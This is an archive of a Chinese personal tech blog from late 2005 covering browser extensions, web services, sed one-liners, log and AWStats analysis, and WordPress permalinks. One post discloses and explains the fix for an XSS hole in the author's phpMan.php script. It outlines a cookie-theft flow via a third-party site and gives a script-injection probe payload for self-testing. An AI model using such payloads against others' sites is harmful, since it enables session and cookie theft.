最近每天都看DBANotes: 知道了这个工具 Firefox Installed Extensions - ListZilla

安装后我也列了一下常用的插件： Generated Wed Dec 28 2005 17:16:22 GMT+0800 Enabled Extensions: Google Toolbar for Firefox 1.0.20051122 Google工具栏：IE上也有 del.icio.us1.0.2 链接收藏常用，打开新窗口，从原网页上很方便复制/粘贴 LinkChecker 0.4.5 死链检查工具 View Cookies 1.5 查看cookie工具，最近常用 Live HTTP Headers 0.11 http header查看器 Pearl Crescent Page Saver 0.9.3 浏览器屏幕截图工具 ListZilla 0.7 以上列表就是ListZilla生成的 Clusty Toolbar 1.0.6 不常用 Performancing 1.0.1 类似于Zoundry的离线blog编写工具不常用 TWiki Firefox Extension 2.0.3 TWiki格式化工具栏编写内部文档常用，新版twiki上的可视化编辑器完全可以替代这个插件，而且这个版本在Firefox 1.5.0.1后有不兼容的问题。

2007-05-23更新：

**Enabled Extensions:** (13)

del.icio.us 1.2

Google Icon 1.2

Google Toolbar for Firefox 3.0.20070217W

IE Tab 1.3.2.20070404

[Java Console](http://www.google.com/search?&q=Java Console) 6.0.01

2005 我最喜欢的几个服务

Tue, 27 Dec 2005 22:13:51 +0800

年终小结的时间到了, 2005 年度我最喜欢的几个软件: 是个好题目整理并推荐一下我在2005常用的软件和在线服务: :

del.icio.us: 我的linklog;

FlickR: 我的photolog, 现在用的比MT 3.2更多;

www.chedong.com: 我用lilina改造的RSS聚合工具. 另外: 不觉得lilina本身应该考虑速度的问题, 因为速度完全取决于RSS同步的策略和缓存的策略. 经过2次优化以后, 我已经更够感受到bloglines和FeedBurner这样的RSS服务商所面临的压力和问题了.

FreeMind: 一个基于java的开源mindmap绘制软件, 是一个做整理思路和做会议纪要的好工具,免费产品中很优秀的一款;

GMail 界面操作效率高, 垃圾邮件少.颠覆了我对webmail的使用习惯经常使用Gtalk也是因为能当作GMail alert使用.

douban.com: 豆瓣已经达到了拐点,基本上找一本书我会先去豆瓣看看评论

其他产品服务: 统计工具: AWStats / Analytics 全文引擎: Lucene 浏览器 FireFox + many extensions

在线论坛服务: groups.google.com

twiki的使用将自己的文档更多的通过twiki管理起来; svn开源的版本控制工具在很多方面都是CVS更好的换代产品;

💬 历史评论

以下 5 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

asalei · 2005-12-28 00:33

喜欢看你的BLOG, 总是能看到很多的新东西啊。。。

www.look4blog.com BLOG目录

Fenng · 2005-12-28 09:22

你的站其实也是我每天都看的.是我05年的最喜欢个人门户之一.

ajivanet · 2005-12-28 16:06

FeedIcons.com - Launch Day Stats

Sat, 24 Dec 2005 21:57:14 +0800

[![](http://static.flickr.com/6/76788721_3f8efb0149_m.jpg)](http://www.flickr.com/photos/mattbrett/76788721/) [FeedIcons.com - Launch Day Stats](http://www.flickr.com/photos/mattbrett/76788721/)

Originally uploaded by Matt Brett.

[feedicons](http://www.feedicons.com/)是 [Matt Brett](http://mattbrett.com/)发起的一个项目: 推广使用firefox上那个RSS图标作为标准, ![](http://static.flickr.com/36/76847294_97cedf6699_o.jpg) 图上是这个域名发布后首日的来源统计分析.

另外: 今天是圣诞节, 收到了很多有趣的短信: 比如打劫圣诞老人之类的 ^_^

祝大家圣诞快乐!

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

meteor · 2005-12-26 17:14

刚才突然发现chedong同志也用avant。然后在办公室大叫，说，chedong原来和我用的浏览器一样。同事说：过不了几天，你会发现chedong和你用的卫生纸是一样的。。。

ajivanet · 2005-12-28 16:08

全是ICON啊，自己电脑硬盘管理就够了啊放在网络上，太夸张了吧

Year of Wiki

Wed, 21 Dec 2005 11:39:41 +0800

[![](http://static.flickr.com/38/75743812_833b9f39a7_m.jpg)](http://www.flickr.com/photos/fuzheado/75743812/) [phenom3](http://www.flickr.com/photos/fuzheado/75743812/)

Originally uploaded by fuzheado.

[http://www.google.com/press/zeitgeist2005/phenomena.html](http://www.google.com/press/zeitgeist2005/phenomena.html)

Year of the Wiki

As the open source concept has moved from software development to photo-sharing to blogging, wikis – collaborative, editable web-based projects – have come into their own. And Wikipedia, the multi-language, meta-compendium of information has grown immensely this year. Despite a recent controversy about the accuracy of information that is melded by many writers and editors, the popularity of this open source approach is considerable.

卢亮/明珠的博客吧开张了……

Tue, 20 Dec 2005 20:11:06 +0800

[![](http://static.flickr.com/38/75274021_f8c0a8c46d_m.jpg)](http://www.flickr.com/photos/keso/75274021/) [2005-12-19 19-41-06_0002](http://www.flickr.com/photos/keso/75274021/)

Originally uploaded by keso.

不过还能看到原来必思浓的痕迹……

博客吧主人的官方网站：http://blog.wespoke.com/

还加上了TAG RSS

必思浓咖啡吧地处北京市海淀区学院路和清华东路的交汇处（东南角）咖啡吧一条街上

💬 历史评论

以下 4 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Fenng · 2005-12-20 23:12

Life is elsewhere ? 生活在别处?

yongquan · 2005-12-22 01:18

ha, seems that you have been there lately. I am an old customer of them :) Yongquan

张建斌 · 2006-01-15 03:30

卢亮，明珠，

今天看到了你们的博客吧，恭喜你们。

建斌

双木 · 2006-03-12 14:19

中国网站首页设计有四大特色：“长，闪，挤，花”

Mon, 19 Dec 2005 22:44:26 +0800

摘自：中国网站首页设计有四大特色：“长，闪，挤，花”

其中很精辟的几段话：中国网站的页面真是长啊，以至于我坐在电脑前浏览的时候经常会想，这个页面的最低端会不会已经搭拉到我的脚面上了。

科学家已经证实，在月球上是看不到万里长城的，但是我想，应该是可以看到中国网页的，它们不仅长，而且还在不停的闪烁。

第三是“挤”。我们的网站看上去满满当当的，比公共汽车还挤。每天早上都是挤公共汽车，然后挤地铁，挤电梯，挤着打卡，好容易坐下了，打开电脑就不要再那么挤了，大家站开点儿吧，网页上有的是地儿。

💬 历史评论

以下 11 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

danielive · 2005-12-19 23:31

这篇文章原创应该是chinaui.com 现在转载真是没素质,连blog也这样,搞到最后也不知道谁写的了.

龙在天涯 · 2005-12-20 00:22

说的好!

Dash · 2005-12-20 00:57

偶们大概是中国首页最长的网站，难道Blog的首页不长吗？VeryCD首页不就是个群组Blog首页吗:P

meteor · 2005-12-20 08:39

呵呵。不知道你发现没有，mt不支持分页分类归档和按月归档都会很长。尤其是分类归档，恐怖。。。

Kreny · 2005-12-20 16:16

坚决同意！我们还不足的是两个字:“实在”

xjb · 2005-12-20 17:07

mt的模板做到分帧是没问题的

xxd · 2005-12-20 18:01

中国的东西又有哪样不打上“中国特色”的烙印，自然网站也不例外。现在都Web 2.0了，简洁、清爽、干净才是正道。

morpheus · 2005-12-23 02:00

太有感触了，门户网站啥时候能做成杂志那样就好读了。

土豆 · 2005-12-23 13:31

中文网页的主力军—个人网站：坚持以spam为中心，坚持长，闪，挤，花四项基本元则，建设有中国特色的互联网站点。

ajivanet · 2005-12-28 16:10

的确是这样的。从门户网站开始，页面就开始膨胀包括YAHOO 在google的出现才改变了局面现在的douban.com 都值得我们去学习

GTD流程图解

Mon, 19 Dec 2005 15:02:56 +0800

[![](http://static.flickr.com/39/74703339_101d4a2606_m.jpg)](http://www.flickr.com/photos/fenng/74703339/) [workflow_diagram3](http://www.flickr.com/photos/fenng/74703339/)

Originally uploaded by dbanotes.

出自：[Getting Things Done: The Procrastinator's Version](http://blogs.salon.com/0002007/2005/12/13.html)

《GTD练习簿》下载地址

Sed 与 Linux 等价命令代码

Sat, 17 Dec 2005 20:26:59 +0800

flymeteor@Blog � Sed 与 Linux 等价命令代码鉴赏

basename sed ’s/(.)/([^/])/\2/’ or sed ’s,./,,' cat sed ’’ or sed -n ‘1,$p’ or sed ‘1,$!d’ cat -s sed ‘/./,/^$/!d’ cat -n sed ‘=’ | sed ‘N;s/\n/\t/;s/^/ &/’ or sed ‘=’ | sed ‘$!N;s/\n/ /’ cat -E sed ’s/$/$/’ cat -t sed ’s/\t/^I/g’ cut -c n sed ’s/(.){n}./\1/’ or sed ’s/^.{(n-1)}//g;s/(.)(.)/\1/g’ cut -c x-y sed ’s/(^.{y})(.)/\1/g;s/^.{(x-1)}//’ cut -d| -f6 sed ’s/(([^|])|){6}./\2/' cp file1 file2 sed ‘w file2’ file1 expand -t 1 sed ’s/\t/ /g’ dirname sed ’s/(.)/([^/])/\1/’ or sed ’s,[^/]$,,' grep patten sed -n ‘/patten/p’ or sed ‘/patten/!d’ grep -v patten sed -n ‘/patten/!p’ or sed ‘/pateen/d’ grep -n patten sed -n ‘/patten/{=;p}’| sed ‘N;s/\n/:/’ head sed -n ‘1,10p’ head -1 sed -n ‘1p’ or sed ‘q’ head -Number sed ‘1,Number!d’ or sed ‘Numberq’ paste -s file1 file2 sed ‘:a;N;s/\n/\t/;ba;’ file1 file2 | sed ’s/\t\t/\n/’ paste -sdstr sed ‘:a;N;s/\n/str/;ba’ rev sed ‘/\n/!G;s/(.)(.\n)/&\2\1/;//D;s/.//’ tac sed -n ‘1! G;$p;h’ or sed -n ‘G;$p;h’ tail -1 sed -n ‘$p’ or sed ‘$!d’ tail -Number sed ‘:t;$q;N;(Number 1),$D;bt’ tail -f sed -u ‘/./!d’ tr “\n” " " sed ‘:a;N;s/\n/ /;ba’ tr “A-Z” “a-z” sed ‘y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/’ tr “a-z” “A-Z” sed ‘y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/’ tr -d “12” sed ‘:a;N;s/\n//;ba’ or sed ‘:a;N;s/(^.)\n(.)/\2\1/;ba’ tr -s ‘x’ sed ’s/(x)(x{1,})/\1/’ tr -s ’ ’ sed ’s/ \ / /g’ uniq -u sed ‘$b;N;/^(.)\n\1$/ ! {P;D};:c;$d;s/.\n//;N;/^(.)\n\1$/{bc};D’ uniq sed ‘N;/^(.)\n\1$/!P;D’ wc -l sed -n ‘$=’ wc -c sed ‘:a;s/./&\n/;P;D;/.{2,}\n/ba’ t|sed -n ‘$=’ wc -w sed ’s/ /\n/g’ | sed -n ‘$=’ xargs sed ‘:a;N;s/\n/ /;ba’ or sed -e ‘:a’ -e ‘$!N;s/\n/ /;ta’

你同时用几个IM？

Fri, 16 Dec 2005 14:16:00 +0800

Fenng说他的IM 工具太多，我缺省用的3个：共同特点就是都有相应的Email alert 雅虎通：公司同事 300人，可以发离线信息。 MSN：以前同事/朋友 200人 GTalk：当GMail alert用，几十人

偶尔开： QQ：TM那种； Skype：开在线会议用； ICQ：很少用了……

你一般用几个？此外：我一般还用2个浏览器， AvantBrowser；一个基于IE内核的多窗口浏览器； FireFox：用的越来越多了，因为的确有很多开发用的插件离不开；

💬 历史评论

以下 21 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

coocboy · 2005-12-16 14:54

IM工具 QQ & MSN Yahoo Message 或Gtalk 偶尔上去玩下,试新功能.

浏览器: IE (主)

因为实在是大多数网站不兼容,且打开软件速度慢, 更者我同时要打开N个浏览窗口. 下面两个相比,还是Opera更好些.O还可以浏览手机页面. FireFox(测试web标准) Opera(测试web标准)

Fenng · 2005-12-16 15:08

浏览器我更多的用Mathon,现在 Firefox 的比重越来越大

Tangos · 2005-12-16 16:07

和你差不多,除了yahoo messenger,浏览器主要是FF,偶尔用IE或者maxthon

Felix Wong · 2005-12-16 16:28

Linux 一般就只用Gaim，上面可以挂着MSN/Google Talk/AIM。另外还开一个QQ、Skype。IM软件多，还真不方便。

七巧仔 · 2005-12-16 16:34

那么我推荐你用MIM 呵呵要是不知道的话看我blog
我也不写具体那文章了，你一看就知道了不然回说是人工spam了

Liveplasma.com的类聚引擎

Wed, 14 Dec 2005 18:41:40 +0800

今天看到一篇新闻：[Firefox users ignore online ads, report says | CNET News.com](http://news.com.com/Firefox users ignore online ads, report says/2100-1024_3-5479800.html)，更让我惊奇的发现News.com新闻右侧广告下面出现的新相关功能：通过主题云图的方式展现了相关的文章（黑色），相关的公司（红色）和相关的主题（绿色）

附图如下：

这个服务Powered by Liveplasma.com。

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Tangos · 2005-12-15 09:24

的确这是个很cool的服务，要是有某个支持中文的引擎能够提供部分免费使用给blogger，呵呵，那就爽了

stevejin · 2005-12-28 18:01

这个蛮早以前就有了,属于Info. Visulization的一种。做成中文有人要吗？偶并不认为这种形式符合我们的阅读习惯。

被Yahoo收购的del.icio.us

Tue, 13 Dec 2005 10:37:25 +0800

[![](http://static.flickr.com/34/72034517_235604e1fa_m.jpg)](http://www.flickr.com/photos/herock/72034517/) [yahoo_buy_delicious](http://www.flickr.com/photos/herock/72034517/)

Originally uploaded by herock.

这个LOGO很形象，del.icio.us是很重要的一“点”。

新浪IaskSpider

Mon, 12 Dec 2005 09:35:34 +0800

今天在日志中发现了新浪IaskSpider的踪迹： 219.142.78.210 - - [10/Dec/2005:00:00:36 +0800] “GET /phpMan.php/man/crond/8/ HTTP/1.0” 200 3926 “-” “iaskspider” 219.142.78.2 10.114661134144036588 219.142.78.210 - - [10/Dec/2005:00:00:36 +0800] “GET /phpMan.php/man/cytune/8/ HTTP/1.0” 200 8639 “-” “iaskspider” 219.142.78. 210.302381134144036603 219.142.118.65 - - [10/Dec/2005:00:00:50 +0800] “GET /phpMan.php/info/pathchk/ HTTP/1.0” 200 3136 “-” “iaskspider” 219.142.118 .65.3811134144050430 219.142.78.85 - - [10/Dec/2005:00:00:58 +0800] “GET /phpMan.php/man/Config::myconfig/ HTTP/1.0” 200 1998 “-” “iaskspider” 219. 142.78.85.302351134144058586

IaskSpider的访问来源和频度分布： grep -i iaskspider *|awk ‘{print $1}’ |awk -F ‘:’ ‘{print $2}’ |sort|uniq -c|sort -rn |head -10 490 219.142.78.87 444 219.142.118.62 429 219.142.78.210 390 219.142.118.63 355 219.142.118.65 352 219.142.78.59 320 219.142.78.85 306 219.142.118.64 304 219.142.78.60 247 219.142.78.179

Web 2.0服务的成本分析：低成本，做你喜欢的事儿

Sun, 11 Dec 2005 11:34:09 +0800

前2天在桑林志上看到DreamHost的主机租用方式：桑林志 CPU usage limit 原来是基于每个客户占用的主机CPU的时间：每个虚拟主机客户每天不能超过40分钟。这让我立刻联想到了Sun的CPU 1$/小时的租用服务： 02/01/05 - Sun Lights Up the Sun Grid First Global Compute and Storage Grid for $1/cpu-hr and $1/GB-mo，在目前的硬件和网络环境的发展下：每客户的硬件成本已经可以比较清晰换算了。真正验证了Sun：网络就是计算机的理念。

其实很多在线服务都不能忽视的在线存储技术/CPU/宽带技术硬件技术的发展：也要看到这些新兴服务在控制成本上的努力。搜索和邮件服务应该是非常好的例子。操作系统和开发语言就不用说了：几乎没有用Windows/Solaris等商业操作系统和开发平台的，基于开源软件的非常普遍。而很多在成本上的严格控制是这些服务能够低成本生存/不至于中途夭折的主要原因：比如： FlickR：除了用户的易用性上外，我倒是觉得FlickR的免费用户带宽限制技术倒是很重要的因素，否则好好的一个SocialNetworks服务很容易成为色情图片的宿主？而del.icio.us也非常有效的控制了link spam；之前我还做过一个BlogLines的成本分析：缓存机制应该是FeedBurner等这些RSS服务的核心。

收入方面：按照使用Google AdSense收入的模式：网站每天的独立访客数约等于网站年收入（人民币）根据这个公式：容易估计出一个网站可能获得的最低收入。

由此可见：“低成本”是很多新出现的WEB 2.0服务的共同特征，在技术和成本上良好的控制，的确使得创建者可以完全出于自身的爱好而负担做一个网站的成本（没有任何收入或者少量收入即可维持运行）。

给phpMan加上perldoc -f / -q模式

Fri, 09 Dec 2005 23:34:33 +0800

java - phpMan

perldoc -f 用于搜perl内置的函数 perldoc -q 用于在perldoc中进行标题的全文检索

Marcin Gryszkalis 写道:

Hi

I like you script and I added little fix to make it try additional perldoc forms (with -f and -q switch). I know that funciotns are available at perlfunc page (and faqs at perlfaqX) but perlfun is pretty big page so it takes some time to render (and you still have tearch in the page for specific function). The fix chenges getPerldocPage to something like (It assumes that perldoc returns nonzero value when nothing’s found - it seems to be true in all systems I tested).

这么快就升级到Firefox 1.5了？

Wed, 07 Dec 2005 15:42:33 +0800

[![](http://static.flickr.com/34/69897638_a0b165bdfb_m.jpg)](http://www.flickr.com/photos/chedong/69897638/) [Firefox 1.5](http://www.flickr.com/photos/chedong/69897638/)

Originally uploaded by Che Dong.

从我的网站上看倒的[浏览器分布统计](http://www.chedong.com/cgi-bin/awstats/awstats.pl?config=chedong&framename=mainright&output=browserdetail)：

十一月份： 1.5好像是上个月底发布的吧 FIREFOX 179581 13.9 %

** Firefox 1.5 2.8 % **

Firefox 1.0.7	7.8 %	

Firefox 1.0.6	0.8 %

本月：已经上升到7.8 FIREFOX 42531 13.6 %

** Firefox 1.5 7.8 % **

Firefox 1.0.7	3.9 %	

Firefox 1.0.6	0.3 %

虽然有很多插件不兼容了，但是还是升级倒了FireFox 1.5 而新增强的功能让缺省那些tab browsing等插件都不用安装了。

高端用户真是与时俱进啊……Google最近的toolbar推广也有很大原因：近期mozilla.com的流量暴涨了十倍

💬 历史评论

以下 5 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

利用blogsearch自动发现站外引用

Tue, 06 Dec 2005 13:49:42 +0800

毕竟不是所有内容发布系统都支持TrackBack ping机制，另外一个寻找文章被引用的方法就是通过一个搜集了丰富内容的搜索引擎，试下在Google的blogsearch上直接使用 link:命令查：link:chedong.com，再使用RSS/ATOM输出就得到了自己网站内容的引用监控：按时间排序

参考： Blogger Hack：显示反向链接 - WebLeOn’s Blog

发现： 1 搜索引擎仍然是最简单的聚合中心， 2 MSN的spaces服务是目前使用比例非常高的BSP，看来IM还是一个反馈率非常高的平台，而反馈对于激励用户长期发布内容有着决定性的影响；

💬 历史评论

以下 4 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

gavin · 2005-12-06 17:15

我刚用FIREFOX没多久，希望能指点一下，如何在FIREFOX上建立你发布图片上的Google blog Search…这样的标签集？

guoshuang · 2005-12-06 17:53

search.msn 早就有搜索结果的rss输出,问题是这样够实时嘛?以至于需要 livebookmark来看?

tinyfool · 2005-12-06 23:16

这主意真好,我怎么想不到呢,呵呵

殷远超 · 2006-01-13 05:46

还是觉得用邮件订阅最好http://www.yinux.com/post/15.html

phpMan.php中的XSS漏洞（Cross Site Script）

Mon, 05 Dec 2005 16:04:44 +0800

phpMan.php是一个unix上将man page展现在web界面上的php脚本工具，虽然做了一定的防命令行漏洞处理，但是上周还是被LoaA发现了有XSS安全漏洞：所谓XSS：就是Cross Site Script 跨网站脚本漏洞的缩写。如果纵容这种漏洞有什么危害呢？上图只是破坏者利用脚本打印除了自己在网站的所有的Cookie列表：我们看到的有mt的后台，有analytics的session，还有最近试验的使用mod_usertrack生成的用户识别cookie。如果这个链接是侵入者诱导其他用户在一个第3方的网站上触发，然后引导用户指向当前网站，然后再利用其他的脚本将用户在当前网站的cookie或其他信息发送到另外一个网站上。流程大致如下： dirty-web.com/spam email ==user click==> commecial-site.com ==send cookie==> dirty-web.com 这样就完成了一次对用户在一个商业网站上的信息盗取。

解决的方法也很简单，就是要严格各个环节的用户输入校验：尤其是要作为信息打印出来的用户输入数据，一定要经过异常输入过滤。在phpMan.php脚本中我使用的是htmlspecialchars将所有非ASCII字符进行了处理。

检查自己的网站是否含有XSS漏洞也很简单：就是在各种输入接口输入或者在GET的URL参数中加入： ><img src=1 onerror=javascript:alert(document.cookie)< 如果有js alert执行，说明可能有潜在漏洞。

参考文档：跨站脚本执行漏洞详解 http://c4st.51.net/doc/xss_intro.html

中文网志年会 - [搜索]篇

Sun, 04 Dec 2005 20:20:58 +0800

网志年会也聚集了很多创业的团队，各个团队普遍都对搜索技术非常感兴趣，虽然目的不是和目前大的搜索引擎竞争，但是，通过全文检索技术将自己网站内部和外部的内容更好的相互引用确实是一个普遍的需求。

需求主要是两个方面： 1 站内搜索：站内搜索能便于用户迅速直达相关的内容；目前很多数据库都提供了全文检索功能，但是对中文的支持优先，另外就是缺乏和其他字段组合的Rank机制。 Lucene可能是目前最常用的非数据库全文引擎，几乎各个语言平台上都有相应，也有一些支持中文分词的解决方案出现。

2 内容类聚：良好的引用能将网站内容之间形成更加网状的结构，也便于SPIDER快速遍历整个网站。我们看到的Tagging（主题标签），也是实现文章之间通过关键词类聚的一种途径：优点：比全文引擎实现成本要低，从一篇文章中提取1个或多个关键词，然后将有相同主题的内容类聚在一起。比起传统的目录分类：tagging更好的实现了多对多关系，更符合先写后分类的用户习惯；缺点：是一种很有趣的造词游戏，但毕竟不能指望所有的用户都会使用10PlacesOfMyCity这样的CamelWord进行内容串联。另外一个方式就是通过主题引擎的内容类聚：手拉手，以文找文都是这方面很好的实现。

最后，不要忘记还有很多搜索引擎提供的站内搜索服务： Blogger为搜索引擎提供更加非中心化的内容来源，而另外一方面：搜索引擎也通过关键词将这些blogger相互联系在一起。大部分blogger都有这样的体会：网站的主要访问来源是搜索引擎，和其他很多blogger之间相互初步了解都是先从搜索引擎上通过特定的主题关键词找到的：所以说blogger之间是通过“关键词”形成的小圈子(Social Network) 引用一段朋友的对话：还有我觉得写blog的人都形成自己的小圈子比较多。你觉得呢？ Che: 是的 qingshuidanmu: 比如说keso 比如说你。 Sent at 19:58 on 星期日 qingshuidanmu: Busy qingshuidanmu: 比如说donews 小的说来是几个人，大的说来更是一个团体。都是在这个团体中演变。你们的文章在这里边转悠。譬如转帖，也是转里面的圈子中人物的文章。

3年前的旧文：让你免于失业的十项开发技术

Sat, 03 Dec 2005 23:20:06 +0800

在搜索引擎上找了一下《让你免于失业的十项开发技术》这篇文章英文出处在这里： The 10 Technologies that Will Help You Stay Employed，作者是，Russell Jones

当然：也有人对这10项技术的重要程度有不同的看法，以下是个人的一些感受： 1: **XML ** 这点我看到的是RSS/ATOM这样轻量级的协议已经成为重要的编程接口，但是让XLST等 10: SQL SQL是结构化数据处理的基础，但是现在似乎要加上全文检索技术，全文检索技术是除了：时间/作者/价格等字段外，另外一种将内容之间发布出来的机制，而我们看到的全文搜索引擎也原来越有结构化的影子； 6: Regular Expressions 从正则表达式中受益匪浅，在国外：正则表达式这是一门40个课时的大学课程，在国内：那本99年出版的《Perl 5编程详解》中，有非常详细的一章，很多人都是从那本书开始的 3: Object-Oriented Programming OO编程 7: Design Patterns 设计模式 4: Java, C++, C#, or VB.NET 我将and改成了or，精通其中的一门就够了 2: Web Services WEB服务：MT/WordPress的远程开发接口是最好的教材 5: JavaScript JS是我当时一直不理解的，但是看到GMail/FlickR等很多AJAX实现的在线应用后，知道了自己的浅薄。但是js自身的缺乏可调试性，浏览器兼容性，真正用起来还是挺复杂的。 8: Flash MX Flash依然成为所有浏览器必备的插件之一； 9: Linux/Windows Linux平台的活跃让很多原先非常经典的Unix系统可以被更多一般开发人员接触到，开发人员应该尝试在自己家里开辟实验室。

最近看到一句话，忘记出处是哪里了，意思大概是：渐进的改进比彻底的变革更重要……技术的发展也是这样，积累，每天进步一点点：

如果让我去讲什么是Web 2.0 我想我会说： Web 2.0就和叠纸飞机一样，耐心加细微调整比从根本上改变基本设计更为重要。

💬 历史评论

以下 3 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

reffo · 2005-12-04 15:02

WordPress的永久链接(Permalink)设置

Fri, 02 Dec 2005 18:30:50 +0800

WordPress已经是非常流行的blog发布系统了，但缺省的blog发布是不支持PermaLink的（可能是考虑到在Windows平台和Apache 2.0上缺省不支持PathInfo）。

将上次从MT迁移到WP的笔记补充一下关于PermaLink的设置：在WordPress中设置PermaLink的方法：选项(Option)==>永久链接(Parmalink)设置中：位于 /wp-admin/options-permalink.php 文章详情页结构: /%year%%monthnum%/%day%_%post_id%.html

注意：如果是中文名称的目录，经过UrlEncode编码后的地址无法映射回原来的目录名。例如： http://blog.example.com/category/%e9%85%b7%e8%ae%af%e4%ba%a7%e5%93%81/ 因此还需要编辑一下每个目录的Slug（分类缩略名）属性：管理==>类别==>编辑类别中，将每个目录设置一个"分类缩略名"。然后类目的输出就会按照英文的分类缩略名进行输出了，例如： http://blog.example.com/index.php/archives/category/games/

文章页输出样例： http://www.adayang.com/index.php/2007_01_16_103.html 目录列表页输出样例： http://www.adayang.com/index.php/category/daily-life

Permalink相当于是对其他引擎的Lifelong的承诺：Permanent Link（持久链接）。blog发布系统保证这个链接是长期稳定有效的（即使未来发布系统更换了，也能通过一定的映射保持原有链接的可访问性）。可以发现很多著名的blog发布系统（WordPress/MT）在PermaLink机制上都有非常好的实现，而通过PermaLink本身发布的blog在搜索引擎中的强大影响力进一步扩大了相应BLOG发布系统本身的推广。

搜索引擎的确比较喜欢静态链接的方式（让用户对搜索结果有稳定的预期），而如果发布系统中充满了 article.php?category=1&docid=234这样的链接，对于内容的除重也是一种负担：因为category=1&docid=234和docid=234&category=1是内容一样的同一个页面，但是在搜索引擎索引中却要占上2个位置，如果是3个以上的参数，相同内容和链接不同的组合就更多了。

💬 历史评论

以下 7 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Fwolf · 2005-12-05 23:28

我的WordPress的Permalinks是通过设置＋手工调整一下源代码实现的，个人感觉WP只是提供了一个基本的功能、简单的实现，想要自己风格的样式，还是要动一下手，这点不如原来的pLog做得灵活，不过修改也是比较简单的说。详见： http://www.fwolf.com/blog/post/87

冰古 · 2005-12-11 01:54

wp 1.5.2的Category有了Category slug。改这个就可以了。

冰古 · 2005-12-11 02:00

原来1.5就有了slug。之前不知道有没有呢？

opp · 2006-07-18 22:02

你好~我的WP放在了一个二级别目录下，就是访问WP的时候要用： http://www.mysite.com/blog/这样的目录访问，选项中可以设置永久连接，但是设置好以后可以打开首页，但是里面的文章页打开总是显示404错误，这和我把WP放在了一个二级别目录有关系么？能详细讲下我应该如何设置？怎么写这个.htaccess？多谢了。

george · 2006-09-16 19:26

linkchecker 是什么机器人啊

james · 2006-11-05 17:01

感觉WordPress虽然是非常流行的blog发布系统，但功能上太过简单了

seven · 2010-04-06 16:28

我在后台自己设置自定义永久链接它是这样的：/index.php/archives/%post_id% 我不想要这个“/index.php/”，我想要我的链接直接显示这样：域名+文件夹，这个我应该怎样改呢，麻烦博客解答一下吧？谢谢

用AWStats的ExtraSection统计RSS Reader, Spider

Thu, 01 Dec 2005 12:21:41 +0800

昨天看到AWStats的一些扩展统计：ExtraSection真实太有用啦，原先需要grep “index.xml|index.rdf|atom.xml” access_log|awk -F ‘"’ ‘{print $4}’ |sort|uniq -c|sort -rn|head -30 这样的统计用以下配置就可以实现啦，而且有漂亮的表格输出。

ExtraSectionName3=“Top RSS Reader/Spider” ExtraSectionCodeFilter3=“200 304” ExtraSectionCondition3=“URL,index.xml|index.rdf|atom.xml” ExtraSectionFirstColumnTitle3=“RSS Reader/Spider” ExtraSectionFirstColumnValues3=“UA,(.*)” ExtraSectionStatTypes3=HBL MaxNbOfExtra3=30 MinHitExtra3=1

RSS Reader/Spider	文件数	字节	最近参观日期
Potu Rss-Reader(Beta0.99) www.potu.com	3139	78.11 M字节	2005年十一月 29日 23:58
GreatNews/1.0	567	4.51 M字节	2005年十一月 29日 23:57
-	352	6.26 M字节	2005年十一月 29日 23:59
Potu Rss-Reader(Beta0.97) www.potu.com	276	6.98 M字节	2005年十一月 29日 23:56
Mozilla/4.0 (compatible; Google Desktop)	224	3.76 M字节	2005年十一月 29日 23:43
Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)	201	3.60 M字节	2005年十一月 29日 23:52
lilina 0.7 ( http://lilina.sf.net/)	124	1.93 M字节	2005年十一月 29日 23:32
MagpieRSS/0.7 ( http://magpierss.sf.net)	115	2.39 M字节	2005年十一月 29日 23:49
KTX Reader3	111	2.55 M字节	2005年十一月 29日 23:10
Mozilla/4.0	107	2.55 M字节	2005年十一月 29日 23:58
MT::Telegraph::Agent/0.031	96	3.87 M字节	2005年十一月 29日 23:39
Jakarta Commons-HttpClient/3.0-rc3	96	1.55 M字节	2005年十一月 29日 23:57
Wget/1.9.1	85	2.15 M字节	2005年十一月 29日 23:29
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051111 Firefox/1.5	80	1.33 M字节	2005年十一月 29日 23:52
UniversalFeedParser/3.3 http://feedparser.org/	73	505.40 K字节	2005年十一月 29日 23:38
NewsGator/2.5 (http://www.newsgator.com; Microsoft Windows NT 5.1.2600 Service Pack 2; .NET CLR 2.0.50215.322)	72	78.63 K字节	2005年十一月 29日 23:57
CFMX Agent	67	1.71 M字节	2005年十一月 29日 23:09
FeedDemon/1.5 (http://www.bradsoft.com/; Microsoft Windows XP)	67	1.51 M字节	2005年十一月 29日 23:51
Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.7.12) Gecko/20050919 Firefox/1.0.7	66	1.91 M字节	2005年十一月 29日 23:40
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7	66	1.32 M字节	2005年十一月 29日 23:09

以下就是具体的说明： Potu Rss-Reader(Beta0.99) www.potu.com 周伯通在线版访问3139 流量78.11 M字节一个月就是2G多啊 GreatNews 公认的最好的RSS阅读器之一

[apache]: 使用mod_usertrack跟踪用户

Wed, 30 Nov 2005 17:35:04 +0800

使用StatViz跟踪“用户”点击中，唯一用户缺省是根据同一个IP定义的，就是假设来自同一个IP的为同一个用户，这样定义对于访问量较低的站点可能这样定义没有问题，但是对于访问量较大的站点，来自同一个IP后面有多个用户（比如代理服务器）就不一样了。而同一个用户在不同的时间可能使用不同的IP地址在线。对于这样的情况，要长期跟踪用户行为：使用一个长期有效的Cookie进行用户跟踪是一个比较简便途径。

